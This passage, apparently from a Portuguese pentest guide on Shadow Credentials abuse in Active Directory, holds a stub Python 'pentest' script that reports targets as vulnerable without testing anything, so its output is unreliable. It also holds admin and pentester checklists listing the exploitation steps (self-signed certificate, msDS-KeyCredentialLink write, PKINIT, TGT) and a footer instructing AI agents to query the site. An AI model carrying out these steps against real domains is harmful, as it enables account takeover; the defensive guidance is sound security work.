    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.findings = []
    
    def enum_shadow_credentials(self):
        """Enumerar shadow credentials existentes"""
        print("[*] Enumerando shadow credentials existentes...")
        
        # Em um pentest real, usaria PowerView
        # Get-ADUser -Filter * -Properties msDS-KeyCredentialLink | Where-Object {$_.msDS-KeyCredentialLink}
        
        print("   ✅ Enumeração concluída")
        return []
    
    def check_permissions(self, target):
        """Verificar permissões para adicionar shadow credential"""
        print(f"[*] Verificando permissões em {target}...")
        
        # Em um pentest real, verificaria permissões no objeto
        
        self.findings.append({
            'type': 'SHADOW_CREDENTIALS_POSSIBLE',
            'severity': 'CRITICAL',
            'details': f'Possível adicionar shadow credential em {target}'
        })
        
        return True
    
    def test_shadow_credentials(self, target):
        """Testar adição de shadow credential"""
        print(f"[*] Testando shadow credentials em {target}...")
        
        # Simular teste
        print("   ⚠️  Shadow credentials podem ser adicionadas")
        
        self.findings.append({
            'type': 'SHADOW_CREDENTIALS_VULNERABLE',
            'severity': 'CRITICAL',
            'details': f'{target} vulnerável a shadow credentials'
        })
        
        return True
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST SHADOW CREDENTIALS")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Revisar permissões de escrita em msDS-KeyCredentialLink")
        print("   • Monitorar adições ao atributo")
        print("   • Detectar autenticações PKINIT")
        print("   • Remover shadow credentials não autorizadas")
        print("   • Usar Protected Users group")
    
    def run(self):
        """Executar pentest completo"""
        print("🌑 Shadow Credentials Pentest")
        print("=" * 60)
        
        # Enumerar shadow credentials existentes
        self.enum_shadow_credentials()
        
        # Testar alvos privilegiados
        targets = ["Administrator", "krbtgt", "Domain Admins"]
        
        for target in targets:
            self.check_permissions(target)
            self.test_shadow_credentials(target)
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Shadow Credentials Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    
    args = parser.parse_args()
    
    pentest = ShadowCredentialsPentest(args.domain, args.dc_ip, args.username, args.password)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Restringir permissões de escrita em msDS-KeyCredentialLink
* [ ] Remover shadow credentials não autorizadas
* [ ] Configurar auditoria de modificações do atributo
* [ ] Habilitar Protected Users group

#### **Monitoramento**

* [ ] Alertar sobre modificações em msDS-KeyCredentialLink
* [ ] Detectar autenticações PKINIT
* [ ] Monitorar eventos 5136
* [ ] Verificar certificados auto-assinados

#### **Resposta a Incidentes**

* [ ] Remover shadow credentials maliciosas
* [ ] Rotacionar senhas de contas comprometidas
* [ ] Revogar certificados não autorizados
* [ ] Investigar permissões excessivas

### **Checklist para Pentesters**

#### **Enumeração**

* [ ] Identificar contas com permissões de escrita
* [ ] Mapear alvos privilegiados
* [ ] Verificar shadow credentials existentes

#### **Exploração**

* [ ] Gerar certificado auto-assinado
* [ ] Adicionar shadow credential
* [ ] Autenticar via PKINIT
* [ ] Obter TGT do alvo

#### **Documentação**

* [ ] Documentar alvos vulneráveis
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Shadow Credentials no Active Directory:

  🔴 Principais Vetores:
    - Contas com permissão de escrita em msDS-KeyCredentialLink
    - Self-enrollment não controlado
    - GenericAll/WriteProperty sobre objetos privilegiados

  🛡️ Mitigações Essenciais:
    - Restringir permissões de escrita no atributo
    - Monitorar adições ao msDS-KeyCredentialLink
    - Detectar autenticações PKINIT
    - Usar Protected Users group

  🎯 Prioridade:
    - CRÍTICA: Domain Controllers
    - ALTA: Contas privilegiadas
    - MÉDIA: Computadores
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/shadow-credentials.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
